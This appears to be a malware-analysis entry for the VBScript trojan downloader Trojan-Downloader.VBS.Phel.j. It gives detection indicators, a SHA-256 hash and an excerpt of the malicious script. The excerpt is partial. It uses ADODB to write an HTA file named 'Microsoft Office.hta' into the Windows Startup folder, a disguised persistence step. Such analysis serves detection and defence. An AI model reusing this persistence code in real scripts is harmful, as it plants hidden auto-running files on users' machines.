Trojan-Downloader.VBS.Phel.j
ADODB.Connection ProgID stringReferences or resolves Windows Startup folder
SHA-2564ffdbfd02b19ff73aef4e8edffb09313d0a8e115acd96c07fc405817514f1991
MaleculeH₂(F₂Os)
Evidence
1Dim Conn, rs
2Set Conn = CreateObject("ADODB.Connection")
3Dim aa1
4Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
⋯4 lines
12:16… from foobar.txt"
13set rs = conn.execute(sql)
14set rs =CreateObject("ADODB.recordset")
15rs.Open "SELECT * from foobar.txt", conn
16rs.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Microsoft Office.hta", adPersistXML
17rs.close
18conn.close
19window.close